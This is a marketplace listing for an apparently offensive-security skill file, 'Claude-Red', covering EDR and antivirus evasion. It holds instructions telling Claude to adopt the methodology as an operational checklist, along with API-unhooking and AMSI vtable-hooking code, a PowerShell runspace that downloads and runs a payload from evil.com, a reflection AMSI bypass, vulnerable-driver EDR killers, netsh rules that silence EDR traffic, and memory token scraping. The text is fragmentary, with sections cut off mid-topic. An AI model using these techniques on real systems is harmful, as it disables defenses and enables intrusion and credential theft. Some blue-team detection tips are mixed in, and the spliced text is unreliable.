claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a spec
Install
The skill file stays in the publisher's repository.
Paste the copied command in a terminal. It installs this SKILL.md into that agent.
npx skills add SnailSploit/Claude-Red --skill offensive-edr-evasion -a cursor -y
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Questions
How do I install Claude-Red?
Download Skills/infrastructure/offensive-edr-evasion/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does Claude-Red live?
The publisher keeps it at https://github.com/SnailSploit/Claude-Red.
Which agents can use Claude-Red?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
EDR evasion offensive checklist: hook unhooking (user/kernel), direct syscalls, PPID spoofing, process injection variants, AMSI bypass, ETW patching, memory encryption, and behavior-based evasion. Use when planning EDR bypass during red team engagements or researching AV/EDR evasion techniques.
Trigger Phrases
Use this skill when the conversation involves any of:
EDR evasion, EDR bypass, hook unhooking, direct syscalls, PPID spoofing, process injection, AMSI bypass, ETW patch, memory encryption, AV evasion, behavioral evasion, red team evasion
Instructions for Claude
When this skill is active:
Load and apply the full methodology below as your operational checklist
Follow steps in order unless the user specifies otherwise
For each technique, consider applicability to the current target/context
Track which checklist items have been completed
Suggest next steps based on findings
Full Methodology
Endpoint Detection and Response
Fundamentals
AV vs EDR
Antivirus (preventive approach):
Static Analysis: Matching known signatures in files
EDR solutions require extended visibility into system activities:
Filesystem monitoring via mini-filter drivers
Process/module loading via image load kernel callbacks
Process/.NET modules/Registry/kernel object events via ETW Ti
Network monitoring via NDIS and network filtering drivers
Static Analysis
Extract information from binary
Known malicious strings
Threat actor IP or domains
Malware binary hashes
Dynamic Analysis
Execute binary in a sandbox environment and observe it
Network connections
Registry changes
Memory access
File creation/deletion
AntiMalware Scan Interface
Behavioral Analysis
Observe the binary as its executing, Hook into functions/syscalls
User actions
System calls
Kernel callbacks
Commands executed in the command line
Which process is executing the code
Event Tracing for Windows
Detection Methods
AV Signature Scanning
Scans files using known signatures (YARA rules)
Typically targets loaders and droppers
Primarily static analysis of files on disk
AV Emulation
Runs suspicious programs in a simulated environment
Triggers on behaviors without executing real code
Used to detect obfuscated malware
Usermode Hooks
EDR hooks critical API calls in userspace (ntdll.dll)
Monitors process creation, memory allocations, and network operations
Allows for inspection before execution continues
Kernel Telemetry
Monitors events directly from the kernel
Captures file, registry, process, and network operations
Difficult to bypass as it operates at a lower level
Memory Scanning
Scans process memory for known signatures
Triggers based on suspicious behavior
Looks for shellcode, encryption, malicious strings
Modern Context:
Attackers also scan process memory for sensitive artifacts like authentication tokens. Co‑pilot/IDE integrations, chat assistants, and browser extensions frequently cache Bearer/JWT tokens in memory.
Practical triage: search for "Authorization: Bearer", "eyJ" (base64 JWT prefix), or provider‑specific headers; dump minimal pages to avoid tripping anti‑exfil rules.
OpSec Quickstart (lab)
Pre‑run
Network: block or sinkhole vendor EDR/XDR endpoints; disable cloud sample submission; tag lab hosts.
May generate WER event logs exposing the technique
[!TIP]
Blue team detection: Alert on PssSuspendProcess / PssSuspendThread API calls combined with OpenProcess targeting EDR process IDs, or monitor Event ID 1001 (Windows Error Reporting) with unusual source processes.
these setup _CONTEXT in advance so that EIP/RIP points to native API
and then schedule APC with NtContinue to jump to that requested API
Secure Enclaves (VBS)
Virtualization-Based Security (VBS) enclaves provide an isolated user-mode TEE that even kernel-mode sensors cannot inspect under normal conditions.
Deprecation/support scope (Microsoft):
Windows 11 ≤ 23H2: VBS enclaves are deprecated; existing enclaves signed with the legacy EKU (OID 1.3.6.1.4.1.311.76.57.1.15) continue to run until re-signed. New enclave signing requires updated EKUs and is not supported on these versions.
Windows 11 24H2+ and Windows Server 2025: VBS enclaves are supported with new EKUs.
Security fix: CVE-2024-49076 (VBS Enclave EoP) — ensure December 2024+ updates are applied.
Signing constraints: Only Microsoft-signed enclave DLLs or DLLs signed via Azure Trusted Signing load; test- or self-signed DLLs are rejected.
Architecture summary:
Enclave host app (VTL0) invokes enclave APIs; enclave DLL executes in isolated user mode (VTL1) with restricted API surface; Secure Kernel validates integrity.
Offensive considerations (lab): viable for secure storage of secrets/implants during sleep and for hiding sensitive code paths; limited by restricted API surface and signing requirements.
Practical notes:
On unsupported SKUs/versions, enclave APIs may appear and return STATUS_FEATURE_DEPRECATED.
Prefer testing on Windows 11 24H2+/Server 2025 with proper signing.
Malware Virtualization
Malware virtualization provides advanced evasion against modern EDR:
Embeds a custom virtual machine to execute bytecode instead of native code
Makes static and dynamic analysis difficult through instruction obfuscation
Prevents detection of instruction patterns and behavior prediction
Implementation advantages:
Conceals malicious instructions from EDR monitoring
Protects against code patching attempts
Hinders behavioral analysis through custom execution model
filetool.lst configuration for file persistence across reboots
SSH service installation and configuration within guest VM
Reverse SSH tunnels over port 443 for C2 communication
Advanced Techniques:
Anti-forensic SSH configuration (StrictHostKeyChecking=no, known hosts to /dev/null)
SSL/NoSSL tool deployment for encrypted communications
Randomized hostname generation to mask VM tracking
Port 443 tunneling to blend with HTTPS traffic
Detection Evasion Benefits:
Guest VM operations invisible to host-based EDR sensors
VM network traffic appears as legitimate application activity
File operations contained within guest filesystem
Process execution isolated from host monitoring
Limitations & Considerations:
Requires administrative privileges for some QEMU operations
VM resource consumption may be detectable
Network traffic patterns might still trigger detection
Initial VM deployment artifacts remain on host filesystem
Hook Evasion
Unhooking
malware overwrites EDR hooks before executing payload
you can obtain original ntdll.dll from disk and overwrite it inside your own process
or you can start the malware process in suspended state and copy the clean ntdll.dll from you own memory before executing
Modern Context: While historically effective, relying solely on replacing ntdll.dll or its hooked sections is less reliable. Modern EDRs often use kernel callbacks, ETW, and other telemetry sources that are not bypassed by user-mode unhooking alone. This technique is often used in conjunction with others.
[!CAUTION]
accessing ntdll.dll file can be flagged, API call to overwrite it also might be hooked by EDR
API Unhooking for AV Bypass
Most EDR/AVs like BitDefender hook Windows APIs by replacing first bytes with JMP instructions (opcode 0xE9)
Modern Context: Similar to general unhooking, patching specific API prologues can bypass simple user-mode hooks, but comprehensive EDR solutions have additional detection layers (kernel events, behavioral analysis) that may still detect the malicious activity following the unhook.
How to identify hooked APIs:
Create a test program that calls potentially hooked APIs
Examine first byte of API function using a debugger (like x64dbg)
If first byte is 0xE9, the function is hooked
Common hooked APIs:
CreateRemoteThread/CreateRemoteThreadEx
VirtualAllocEx
WriteProcessMemory
OpenProcess
RtlCreateUserThread
Unhooking approach:
Store original bytes of target APIs from clean system
Identify hooked functions in memory
Restore original bytes using WriteProcessMemory on the current process
Execute malicious code using now-unhooked APIs
Sample implementation:
// Find address of target API function
HANDLE kernelbase_handle = GetModuleHandle("kernel32");
LPVOID CreateRemoteThread_address = GetProcAddress(kernelbase_handle, "CreateRemoteThread");
// Check if function is hooked (first byte is 0xE9)
byte first_byte = (byte)*(char*)CreateRemoteThread_address;
if (first_byte == 0xe9) {
// Replace with original bytes
char original_bytes[] = "\x4C\x8B\xDC\x48\x83"; // Original prologue bytes
WriteProcessMemory(GetCurrentProcess(), CreateRemoteThread_address, original_bytes, 5, NULL);
}
This technique is effective but may require separate execution for the final payload since some AVs block executing immediately after unhooking. Modern EDRs might still correlate the unhooking activity with subsequent suspicious actions.
Unhooking Tools
unhook BOF - module refreshing (less reliable now due to alternative EDR telemetry sources)
malware circumvents hook in system DLL by directly system calling into kernel
you can implement own syscall in assembly and bypass ntdll.dll hooks
or obtain SSN(System Service Number) dynamically and call them(can be done via SysWhispers2)
Direct syscalls bypass user-mode hooks in ntdll.dll but do not inherently bypass kernel-level monitoring (e.g., via kernel callbacks or ETW). EDRs are increasingly monitoring for patterns indicative of direct syscall usage itself (e.g., unusual call stack origins for syscalls).
[!CAUTION]
having syscall assembly instructions can be flagged, also this only helps the loader to evade the EDR not the malware itself
Major EDR vendorsnow flag non‑ntdll syscall sites; consider return‑address replication gadgets to re‑insert a plausible ntdll frame before the transition.
[!CAUTION]
Some EDRs flag syscalls originating outside ntdll.dll. Maintaining plausible stacks/return frames may be required to avoid heuristics.
Direct Syscall Tools
Bypasses user-mode hooks but not kernel monitoring. Requires System Service Dispatch Table (SSDT) index:
malware uses code fragments in kernel DLL without calling the hooked functions in those DLL
prepare the system call in assembly then find a syscall instruction in ntdll.dll and jump to that location
Modern Context: Similar to direct syscalls, this bypasses user-mode hooks but not necessarily kernel-level monitoring. Finding and jumping to existing syscall instructions can be less suspicious than embedding raw syscall stubs, but the subsequent kernel activity is still visible.
[!TIP]
this is preferred,you can also boost evasion techniques by hiding inside a .dll
Kernel‑Mode EDR Killers (BYOVD)
Bring‑Your‑Own‑Vulnerable‑Driver (BYOVD) attacks load legitimately signed but exploitable drivers—examples include rtcore64.sys, iqvw64e.sys, and terminator.sys—to execute privileged code inside the kernel.
Typical payload actions
Patch or unregister kernel‑mode notify callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) to blind user‑mode EDR components.
Overwrite or unload WdFilter.sys and other sensor drivers, fully disabling Defender or third‑party agents.
Public toolchains such as Terminator, kdmapper, and EDRSensorDisabler automate these steps.
Case study: Lenovo LnvMSRIO.sys (CVE‑2025‑8061). Exposes physical memory/MSR read‑write primitives to low‑privileged users; can overwrite MSR_LSTAR and pivot to Ring‑0 payload, then patch/unregister callbacks to blind EDR.
[!TIP]
The vulnerable‑driver blocklist (DriverSiPolicy.p7b) is enabled by default on Windows 11 22H2+ and refreshed every Patch Tuesday. Keep HVCI/KDP enabled so attacker drivers cannot patch protected code pages, and enable Hardware‑Enforced Stack Protection (CET/Shadow Stack) on Windows 11 24H2 to break call‑stack spoofing.
[!NOTE]
Because the blocklist is on by default and updated frequently, a BYOVD chain now often needs two vulnerable drivers: one to disable Secure Boot or flip CiOptions, and a second to perform the EDR‑killer actions before the next blocklist refresh.
User-Mode Application Whitelisting Bypass
Exploiting Vulnerable Trusted Applications
Windows Defender Application Control (WDAC) and similar application whitelisting solutions can be bypassed by leveraging vulnerabilities in trusted, signed applications. A notable technique involves exploiting N-day vulnerabilities in the V8 JavaScript engine within Electron-based applications.
Concept (Bring Your Own Vulnerable Application - BYOVA):
A trusted, signed Electron application (e.g., an older version of VSCode) with a known V8 vulnerability is used as a carrier.
The application's main.js (or equivalent) is replaced with a V8 exploit that executes a native shellcode payload.
If the application is whitelisted, WDAC allows it to run, inadvertently executing the malicious shellcode.
Advantages:
Achieves native shellcode execution, overcoming limitations of pure JavaScript execution in some backdoored Electron app scenarios.
Shellcode runs in a browser-like process context, where behaviors like Read-Write-Execute (RWX) memory regions (due to JIT compilers) are common and may appear less suspicious to EDRs.
Exploit Development & Operationalization Challenges:
V8 Version Targeting: Electron's V8 often lags behind Chrome's and includes backported security patches. Vulnerabilities must be chosen that were patched after the target application's Electron version was frozen. Electron's cherry-picked patches should be reviewed.
Debugging: Building the specific V8 version (e.g., using d8 debug shell with --allow-natives-syntax for %DebugPrint()) is crucial for understanding memory layouts and adapting exploits.
Offset Inconsistencies: Hardcoded offsets in public exploits (often Linux-based) need adjustment for the target V8 version and OS (Windows). Function pointer offsets for overwriting can even vary between Windows versions.
Solution for offset variation: Launch the exploit multiple times in child processes, each trying a different potential offset. The parent process monitors for success (e.g., mutex creation by payload).
Sandbox Escape: Public V8 exploits might use sandbox escape techniques already patched (cherry-picked) in the target Electron V8 version, requiring new or modified escapes.
JIT Compiler Interference (e.g., V8 TurboFan):
Optimizations can consolidate repeated instruction sequences (e.g., multiple floating-point values), affecting shellcode smuggling. Workarounds include compact shellcode or varying instruction positions.
Copying large shellcode payloads can be problematic. Workaround: multiple smaller copy loops or using a stager payload that fetches the main payload.
Payload Obfuscation: Obfuscate the JavaScript exploit (e.g., in main.js) to hinder analysis. Re-obfuscating per deployment can help avoid signature-based detection.
Defense & Future Considerations:
Electron's experimental integrity fuse feature, if enabled by developers, can verify the integrity of application files (including main.js) at runtime, potentially thwarting this technique by exiting if tampering is detected.
Older application versions without this fuse remain vulnerable.
Process Manipulation
Early Cascade Injection
Novel process injection technique targeting user-mode process creation
Combines elements of Early Bird APC with EDR-Preloading
Avoids queuing cross-process APCs while maintaining minimal remote process interaction
Works by:
Targeting processes during the transition from kernel-mode to user-mode (LdrInitializeThunk)
Leveraging callback pointers (like g_pfnSE_DllLoaded) during Windows process creation
Executing malicious code before EDR detection measures can initialize
Advantages:
Operates before EDRs can initialize their hooks and detection measures
Particularly effective against EDRs that hook NtContinue or use delayed initialization
Avoids ETW telemetry that traditional injection techniques trigger
Minimal remote process interaction reduces detection footprint
More stealthy than traditional techniques like DLL hijacking or direct syscalls
Key insight: EDRs typically load their detection measures after the LdrInitializeThunk function executes, providing a window of opportunity for code execution before security measures initialize
watch for early NtCreateThreadEx inside LdrInitializeThunk
Early Startup Bypass
Concept: Execute malware before the EDR's user-mode component fully initializes, creating a window of opportunity for undetected execution.
Implementation:
Target the gap between kernel driver loading and user-mode agent initialization
Execute payload during system startup before EDR hooks are established
Leverage services that start before EDR components
Research Findings (Cortex XDR):
Successfully executed Mimikatz with lsadump::sam without detection during early startup
EDR kernel drivers may be loaded but user-mode hooks not yet established
Timing window varies depending on system performance and EDR implementation
Detection Evasion:
Creates process activity before EDR monitoring is fully operational
Avoids user-mode hooks that haven't been established yet
Kernel-level monitoring may still detect activity depending on driver initialization order
Limitations:
Requires precise timing and understanding of EDR startup sequence
May not work against EDRs with early kernel-level monitoring
Window of opportunity may be brief on fast systems
Waiting Thread Hijacking (WTH)
A stealthier version of classic Thread Execution Hijacking
Intercepts the flow of a waiting thread and misuses it for executing malicious code
Avoids suspicious APIs like SuspendThread/ResumeThread and SetThreadContext that trigger most alerts
Required handle access:
For target process: PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE
This approach temporarily prevents EDR from monitoring the process during the critical operations by operating at an elevated privilege level.
[!NOTE]
HVCI-enabled 23H2 kernels may crash when raising IRQL this way. Safer alternative: kernel-driver patching of PsLookupProcessByProcessId.
UAC Bypass via Intel ShaderCache Directory
Concept: Exploits weak permissions (Authenticated Users: Full Control) on the Intel\ShaderCache directory (%LOCALAPPDATA%\LocalLow\Intel\ShaderCache) combined with the behavior of auto-elevated processes (like taskmgr.exe) writing to this location.
Mechanism:
Clear Directory: Requires aggressively terminating processes holding handles (explorer.exe, sihost.exe, etc.) and deleting files within the ShaderCache directory. Permissions might need adjustment (icacls) to allow deletion. Launching taskmgr.exe briefly (with a timeout) helps identify recently written filenames and can trigger writes needed for the exploit.
Junction Creation: Create a directory junction from ShaderCache to \??\GLOBALROOT\RPC CONTROL.
Symbolic Link: Determine a recently used filename within ShaderCache (before clearing). Create an object directory symbolic link (CreateDosDevice) from Global\GLOBALROOT\RPC CONTROL\<recent_filename> to a target DLL path (e.g., \??\C:\Windows\System32\oci.dll).
Trigger Write: Launch an auto-elevated process (e.g., taskmgr.exe) that writes to ShaderCache. The write operation follows the junction and then the symbolic link, resulting in the creation of a (dummy) target file (e.g., oci.dll) in a privileged location (System32).
Overwrite & Execute: Overwrite the created dummy file with the actual malicious DLL. Launch a process (like comexp.msc) that attempts to load the target DLL, thereby executing the malicious code with elevated privileges.
EDR Relevance:
Bypasses User Account Control (UAC), a primary defense layer.
Relies on manipulating file system objects (junctions, symlinks) and process interactions that EDRs monitor.
Involves potentially noisy actions like mass process termination and permission changes.
The final payload execution often relies on DLL hijacking techniques.
[!TIP]
Symlink/junction UAC races are build‑dependent and brittle. Validate on the specific target build; many have partial or complete mitigations.
PPL (Protected Process Light) Bypass
Concept: Bypass Protected Process Light security by creating alternative service configurations that avoid PPL protections.
Palo Alto Cortex XDR PPL Bypass Technique:
# Create alternative service that launches cyserver.exe without PPL protection
sc create "fake_cyserver" binPath="C:\Program Files\Palo Alto Networks\Traps\cyserver.exe" start=auto
How it works:
Creates a second service that launches the EDR's main process (cyserver.exe)
Original PPL-protected service fails to start due to startup dependencies
New service configuration is not protected by EDR drivers
EDR process runs without PPL protection, expanding attack surface
Limitations:
Service names beginning with "cyserver*" are blocked by some EDR implementations
EDR functionality may remain intact despite PPL bypass
Self-protection mechanisms may still be active at process level
Vendor response varies - may not be considered a security vulnerability
Detection & Response:
EDR thinks original service is stopped but agent continues running
Attack surface increases as process no longer has PPL protections
Reported to Palo Alto on 12.09.2023 with limited vendor response
Broader Implications:
Demonstrates service configuration vulnerabilities in EDR implementations
Shows potential for bypassing Windows security features through alternative execution paths
Relevant for other EDRs that rely on PPL for self-protection
Using NtCreateUserProcess for Stealthy Process Creation
The native API NtCreateUserProcess(), located in ntdll.dll, is the lowest-level user-mode function for creating processes. Calling it directly can bypass EDR hooks placed on higher-level functions like CreateProcessW in kernel32.dll. This makes it a valuable technique for stealthier process creation.
Key Concepts:
Bypass Mechanism: Avoids user-land hooks on more commonly monitored APIs like CreateProcessW.
Process Parameters: Requires careful setup of structures like RTL_USER_PROCESS_PARAMETERS (often via RtlCreateProcessParametersEx), PS_CREATE_INFO, and PS_ATTRIBUTE_LIST.
RTL_USER_PROCESS_PARAMETERS: Defines process startup information, including image path, command line, environment variables, etc. The ImagePathName must be in NT path format (e.g., \??\C:\Windows\System32\executable.exe).
PS_ATTRIBUTE_LIST: Can specify attributes like the image name.
Flags: ProcessFlags and ThreadFlags allow fine-grained control over process and thread creation (e.g., creating suspended). Sources like Process Hacker's headers (ntpsapi.h) can provide valid flag definitions. For minimal use, these can sometimes be NULL.
Implementation Details: Involves initializing several structures and using functions from ntdll.dll such as RtlInitUnicodeString, RtlCreateProcessParametersEx, and RtlAllocateHeap. The article also mentions that the ProcessParameters argument for NtCreateUserProcess was found to be mandatory, and RtlCreateProcessParametersEx is used with the RTL_USER_PROCESS_PARAMETERS_NORMALIZED flag. The PS_CREATE_INFO structure needs its Size and State (e.g., PsCreateInitialState) members initialized. The PS_ATTRIBUTE_LIST is populated to include the image name.
Example High-Level Steps:
Define the path to the executable using UNICODE_STRING and initialize it with RtlInitUnicodeString (e.g., L"\??\C:\Windows\System32\calc.exe").
Create and populate RTL_USER_PROCESS_PARAMETERS using RtlCreateProcessParametersEx, providing the image path and normalizing parameters.
Initialize a PS_CREATE_INFO structure.
Allocate and initialize a PS_ATTRIBUTE_LIST, setting the PS_ATTRIBUTE_IMAGE_NAME attribute with the image path.
Call NtCreateUserProcess with the prepared handles, access masks, and structures.
Perform cleanup, for instance, by calling RtlFreeHeap and RtlDestroyProcessParameters.
This technique allows for creating a new process with more direct control, potentially evading EDRs that primarily hook kernel32.dll API calls. However, EDRs with kernel telemetry or hooks deeper within ntdll.dll (or monitoring syscalls directly) might still detect the NtCreateUserProcess call or the subsequent behavior of the spawned process.
Advanced Process Execution Alternatives
TangledWinExec - alternative process execution techniques
rad9800 - indirectly loading DLL through a work item
Acquiring Process Handles
Without using suspicious OpenProcess:
Find explorer.exe window handle using EnumWindows
Convert to process handle with GetProcessHandleFromHwnd
Leverage PROCESS_DUP_HANDLE to duplicate into a pseudo handle for Full Access
Callstack Manipulation
Return Address Overwrite
overwrite function's return address with 0
that terminates call stack's unwinding algorithm
examination based on DbgHelp!StackWalk64 fails
implement custom API resolver similar to GetProcAddress
before calling out to suspicious functions, overwrite RetAddr :=0
when system API returns, restore own RetAddr
Callstack Spoofing
Manipulates the call stack to appear legitimate
Makes it harder to detect malicious code execution
Tools and techniques:
ThreadStackSpoofer
CallStackSpoofer
AceLdr
CallStackMasker
Unwinder
TitanLdr
uwd - Rust library for call stack spoofing with #[no_std] support
Offers both Synthetic (thread-like stack emulation) and Desync (JOP gadget-based stack misalignment) methods
Provides inline macros for spoofing functions and syscalls
Compatible with both MSVC and GNU toolchains on x86_64
Control Flow Manipulation
Control Flow Hijacking via Data Pointers
Concept: Overwrite function pointers located in readable/writable memory sections (e.g., .data) to hijack control flow when that pointer is called. A key benefit is potentially avoiding noisy API calls like VirtualProtectEx if the target pointer already resides in a writable section.
Target: Often targets pointers within KnownDlls (e.g., ntdll.dll, combase.dll) as they load at predictable base addresses across processes, simplifying remote process injection and pointer discovery.
Mechanism:
Identify a function pointer stored in a writable section (.data). This can be done manually via disassembly or automatically by scripting searches for code patterns (e.g., finding tailcall(rax) instructions where rax is loaded from .data).
In a target process, allocate memory for shellcode (or a stub).
Write the shellcode/stub to the allocated memory.
Overwrite the original function pointer in the writable section to point to the shellcode/stub. This typically requires PROCESS_VM_WRITE permissions.
Execution is diverted when the legitimate code path calls the hijacked function pointer.
Example: The blog post details hijacking combase.dll!__guard_check_icall_fptr.
Advantages:
Can avoid direct calls to commonly monitored APIs used in other injection techniques (like CreateRemoteThread, QueueUserAPC).
If the target pointer resides in memory that is already writable, it may avoid the need for VirtualProtectEx, reducing noise.
Detection/Context: While this bypasses direct hooks on APIs like VirtualProtect or CreateRemoteThread, EDRs may still detect the initial WriteProcessMemory to the .data section or correlate the unusual execution flow originating from a data segment via kernel callbacks or ETW.
Hookchain
Resolve System Service Number
Map critical functions
NtAllocateReserveObject
NtAllocateVirtualMemory
NtQueryInformationProcess
NtProtectVirtualMemory
NtReadVritualMemory
NtWriteVirtualMemory
Create a relationship table with SSN + Custom stub function of critical ntdll.dll and hooked functions
Implant IAT hook at all DLL subsystems that points to ntdll.dll critical and hooked functions(DLL pre-loading)
Use Indirect system call + mapped critical functions and modification of IAT of key DLL functions before call to ntdll.dll to bypass EDR
ETW and AMSI Evasion
ETW Patching
Patch Event Tracing for Windows functionality
Prevents telemetry from being sent to the EDR
Targets ETW provider registration or logging mechanisms
[!CAUTION]
Defender engine 1.417 re‑hooks common byte patches within ~50 ms. Prefer callback filtering (e.g., wrapping EtwEventWriteFull) or the patch‑less SharpBlock fork.
Defender now ships dynamic signature VirTool:Win64/HBPAmsibyp.A that fires on known NOP‑sled prologues. A stealthier option is to swap to a COM‑visible PowerShell runspace instead of patching AmsiScanBuffer.
AMSI and ETW Evasion Implementation
AMSI (amsi.dll!AmsiScanBuffer):
Patch the function prologue
Alternatively, increment AMSI magic value deeper in code
ETW (ntdll.dll!NtTraceEvent and ntdll.NtTraceControl):
Classic AmsiScanBuffer patching (e.g., overwriting with ret or NOP sled) is now detected by Defender's VirTool:Win64/HBPAmsibyp.A signature and engine 1.425.x uses CFG/XFG checks to validate function integrity.
Patchless AMSI bypass (VEH / vtable)
VEH-based bypass: Register vectored exception handlers to set hardware breakpoints on amsi.dll!AmsiScanBuffer and re-route execution to a benign stub without byte-patching (a.k.a. VEH²). This avoids obvious prologue modifications.
COM/vtable approach: Overwrite IAmsiStream vtable entries or CLSID pointers used during AmsiInitialize so the provider cannot be created and AMSI calls short-circuit — again without altering AmsiScanBuffer bytes.
Defender considerations: 2024–2025 engines re-hook common byte patches rapidly; patchless flows reduce simple signature hits but still leave behavioral traces.
Blue detections:
Monitor AddVectoredExceptionHandler usage paired with debug register changes (CONTEXT.Dr0–Dr7) shortly before AMSI invocations.
Hunt for unusual call stacks entering AmsiScanBuffer that immediately return, and COM activation failures around AMSI provider creation.
ETW/PowerShell: alert on script engines loading amsi.dll followed by VEH registration and memory permission flips.
1. COM VTable Hooking Method
Instead of patching AmsiScanBuffer, hook the IAmsiStream COM interface:
// Locate IAmsiStream COM object in amsi.dll
typedef interface IAmsiStream IAmsiStream;
HRESULT HookAmsiStream() {
// Get amsi.dll base
HMODULE hAmsi = GetModuleHandleA("amsi.dll");
if (!hAmsi) return E_FAIL;
// Locate IAmsiStream vtable (varies by Windows version)
// Example: scan for known vtable patterns
LPVOID** ppVTable = /* find IAmsiStream instance */;
// Hook QueryInterface or GetAttribute methods
DWORD oldProtect;
VirtualProtect(ppVTable, sizeof(LPVOID) * 10, PAGE_READWRITE, &oldProtect);
// Replace function pointer with benign stub
ppVTable[0] = (LPVOID*)MyQueryInterface; // Return E_NOTIMPL
VirtualProtect(ppVTable, sizeof(LPVOID) * 10, oldProtect, &oldProtect);
return S_OK;
}
HRESULT STDMETHODCALLTYPE MyQueryInterface(IUnknown* This, REFIID riid, void** ppv) {
// Return E_NOTIMPL to skip scanning
return E_NOTIMPL;
}
2. ETW Provider Registration Manipulation
Modify ETW provider registration to disable telemetry without patching:
Use a COM-visible PowerShell runspace that bypasses AMSI entirely:
using System.Management.Automation;
using System.Management.Automation.Runspaces;
// Create runspace without AMSI
var initialSessionState = InitialSessionState.CreateDefault();
initialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
// This runspace has no AMSI hooks
var runspace = RunspaceFactory.CreateRunspace(initialSessionState);
runspace.Open();
var pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
pipeline.Invoke();
5. Memory-Only AMSI Bypass (No Disk)
Load a minimal AMSI bypass directly in memory without patching:
# Reflection-based bypass (2025 variant)
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
if ($b.Name -like "*iUtils") {
$c = $b.GetFields('NonPublic,Static')
ForEach($d in $c) {
if ($d.Name -like "*Context") {
$d.SetValue($null, 0)
}
}
}
}
Detection Evasion Notes:
COM VTable Method: Bypasses signature-based detection; harder to detect than direct patching
ETW Provider Manipulation: Requires admin privileges but cleaner than hooking
Intel TDX (Trust Domain Extensions) for VM-level isolation
AMD SEV-SNP (Secure Encrypted Virtualization) support
Protects guest VMs from hypervisor inspection
EDR visibility limited in confidential VMs
Requires specialized attestation and monitoring approaches
macOS
Use EndpointSecurity (ES) events with unified logs; monitor syspolicyd Gatekeeper verdicts and TCC changes.
macOS Sequoia (15) enhances XProtect and Background Task Management
Notarization requirements increasingly strict for all distributed software
Linux/Kubernetes
Hunt eBPF program/map churn and sensor detaches; sidecars outside node‑agent PID filters; attempts to access runtime sockets.
eBPF-based EDR becoming standard (Falco, Tetragon, Cilium)
Container runtime security monitoring essential
Service mesh observability integration (Istio, Linkerd)
Network-Based EDR Silencing
These techniques focus on disrupting the EDR agent's communication with its management servers, effectively blinding it without directly tampering with the agent process itself.
Sinkholing by Secondary IP Addresses
Concept: Assign secondary IP addresses to local network interfaces that match the IP addresses of the EDR's communication endpoints (C2 servers, telemetry collectors).
Mechanism: When the EDR agent attempts to connect to its server IP, the network stack routes the traffic to the local interface instead, effectively dropping the connection.
Implementation:
Identify EDR communication IPs (e.g., using network monitoring).
Manually assign IPs via Network Adapter Properties > IPv4 > Advanced > IP Settings (requires static IP configuration, not DHCP).
Use PowerShell: New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress <EDR_IP> -PrefixLength 32
Use netsh: netsh interface ipv4 add address "Ethernet" <EDR_IP> 255.255.255.255
Scripting: Tools like IPMute can monitor process network connections and dynamically add remote IPs as secondary local IPs.
Persistence/Detection:
Static IP settings are stored in HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}\IPAddress.
Changes made via PowerShell/GUI/netsh modify the registry via wmiprvse.exe/DllHost.exe/netsh.exe respectively.
A device configuration profile that sets VpnTrafficFilterList will override any locally created IPsec rules.
Direct registry edits require an interface disable/enable cycle to take effect.
[!CAUTION]
Some EDR/XDR products flag sudden /32 self‑IP assignments (host routes) created with New‑NetIPAddress as potential IP spoofing. Expect alerts on repeated adds/removes or tight timing around agent network failures. Prefer /31 pairs or upstream firewall/DNAT approaches where possible.
IPSec Filter Rules
Concept: Leverage Windows IPsec policies to create rules that block traffic to specific EDR IPs, IP ranges, or even domains, even without a full IPsec deployment.
Mechanism: IPsec rules operate at a low level and can filter traffic based on source/destination addresses and protocols. Rules can block specific connections required by the EDR.
Implementation (using netsh):
# Create a blocking policy
netsh ipsec static add policy name=BlockPolicy description="Block EDR Comms"
netsh ipsec static set policy name=BlockPolicy assign=y
# Create a filter list
netsh ipsec static add filterlist name=BlockFilterList
# Add filters (examples)
# Block specific IP
netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_IP> protocol=any description="Block EDR IP"
# Block subnet
# netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_Subnet> dstmask=<Subnet_Mask> protocol=any description="Block EDR Subnet"
# Block domain (resolves IPs at rule creation time)
# netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=<EDR_Domain.com> protocol=any description="Block EDR Domain"
# Create a blocking action
netsh ipsec static add filteraction name=BlockFilterAction action=block
# Create the rule linking the filter list and action to the policy
netsh ipsec static add rule name=BlockRule policy=BlockPolicy filterlist=BlockFilterList filteraction=BlockFilterAction description="IPSec Block Rule for EDR"
Persistence/Detection:
IPsec policy configuration is stored in the registry under HKLM\Software\Policies\Microsoft\Windows\IPSec\Policy\Local\.
Rule creation via netsh writes registry values via netsh.exe. GUI edits use mmc.exe.
These registry keys can be monitored or potentially protected.
Cleanup:
netsh ipsec static delete policy name=BlockPolicy
DNS Sinkholing
Hosts File Modification
Concept: Add entries to the system's hosts file (C:\Windows\System32\drivers\etc\hosts) mapping EDR domain names to 127.0.0.1 or 0.0.0.0.
Mechanism: When the EDR agent performs a DNS lookup for its server, the hosts file takes precedence, resolving the domain to localhost and preventing the actual connection.
Limitations:
Does not affect existing established connections.
DNS resolutions might be cached within the EDR process itself.
Requires clearing DNS cache (ipconfig /flushdns) and potentially waiting or restarting the EDR process/system.
Ineffective if the EDR uses hardcoded IP addresses.
Changing DNS Servers
Concept: Modify the system's DNS server settings to point to an attacker-controlled DNS server or a public DNS filtering service (like OpenDNS) configured to block EDR domains.
Mechanism: All DNS lookups from the system (including the EDR) are routed through the malicious/filtering DNS server, which returns incorrect or blocked responses for EDR domains.
Limitations:
Same caching issues as hosts file modification apply.
